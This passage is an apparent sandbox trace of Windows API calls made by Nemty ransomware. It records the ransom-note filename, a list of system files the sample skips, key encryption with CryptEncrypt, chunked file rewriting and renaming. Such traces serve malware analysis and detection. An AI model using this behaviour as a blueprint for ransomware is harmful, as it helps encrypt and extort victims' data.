lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.056] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf526fb90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf526fb90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf526fb90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0113.056] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0113.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0113.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0113.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.057] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0113.057] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0113.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0113.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0113.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0113.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0113.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0113.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0113.058] Sleep (dwMilliseconds=0x5) [0113.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf70a32b0, dwHighDateTime=0x1d561e7)) [0113.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf70a32b0, dwHighDateTime=0x1d561e7)) [0113.067] GetLastError () returned 0x12 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.067] GetLastError () returned 0x12 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0113.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0113.067] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0113.067] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="e9C4xMM/q2d1uWBeHO/jkOi3rdprrdRPZxIKSktonl6PoIZjkuCB/F6KgXI3I/eg\r\nxpNXo84+771ONA0HlJwI6wG4/NCQdIp6Y/UB1iH9AYBZNy9Mr0Ob1++Uwg2rlXJd\r\nVRlH1BuR5wema/7ZKOD0yvC0ieo70YvxJEAVt2DGheRqlAVmGFwSSNq1H1NchfdY\r\nCgbcbLnoN/EAeFmSuhuS8eAan022GFUS2SIDSQe9lmJg8xvSkSA8FoIEK3wft5GU\r\n7sCYChbdqQeW6pTYKbmRKzx5I4D5vIm4TW977OHQxVr07OQjGw67R/e2NLD5u5UM\r\nLKAd+c/b7eXXxQekkUGRrg==\r\n", pcchString=0x653ec5c) returned 1 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0113.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0113.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.067] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.069] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0113.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.176] CloseHandle (hObject=0xffffffff) returned 0 [0113.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0113.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0113.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0113.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png" 